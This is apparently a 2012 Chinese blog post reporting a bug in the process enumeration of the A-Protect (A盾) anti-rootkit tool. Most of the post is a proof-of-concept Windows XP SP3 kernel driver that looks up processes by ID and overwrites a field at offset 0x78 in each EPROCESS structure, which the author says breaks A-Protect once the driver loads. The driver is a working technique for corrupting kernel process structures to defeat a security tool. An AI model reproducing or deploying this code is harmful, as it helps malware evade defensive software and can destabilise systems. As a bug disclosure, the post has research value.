A盾 (A-Protect) 枚舉進程的一個bug

ps:
1.A盾爲最新版本(2012-06-01 A盾電腦防護 v0.2.6 快樂兒童版)。

2.驅動只在XP Sp3下測試有效。

3.A盾在我機器上驅動老是加載失敗啊。



測試代碼:

/*******************************************
* AUTHOR : 莫灰灰
* DATE   : 2012-6-5
* BOLG   : http://blog.csdn.net/hu3167343
*******************************************/

#include <ntddk.h>

NTSTATUS
PsLookupProcessByProcessId(
						   IN HANDLE ProcessId,
						   OUT PEPROCESS *Process
						 );

NTSTATUS
DriverEntry(
			IN PDRIVER_OBJECT pDriverObj, 
			IN PUNICODE_STRING pRegistryString
			)
{
	int i = 0;
	PEPROCESS pEprocess = NULL;
	NTSTATUS status;

	for ( i = 0; i < 5000; i += 4 )
	{
		status = PsLookupProcessByProcessId((HANDLE)i, &pEprocess);

		if (NT_SUCCESS(status))
		{
			*(PULONG)((ULONG)pEprocess + 0x78) = 1;  
		}
	}
	
	return STATUS_SUCCESS;
}
驅動加載之後,A盾就悲催了。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章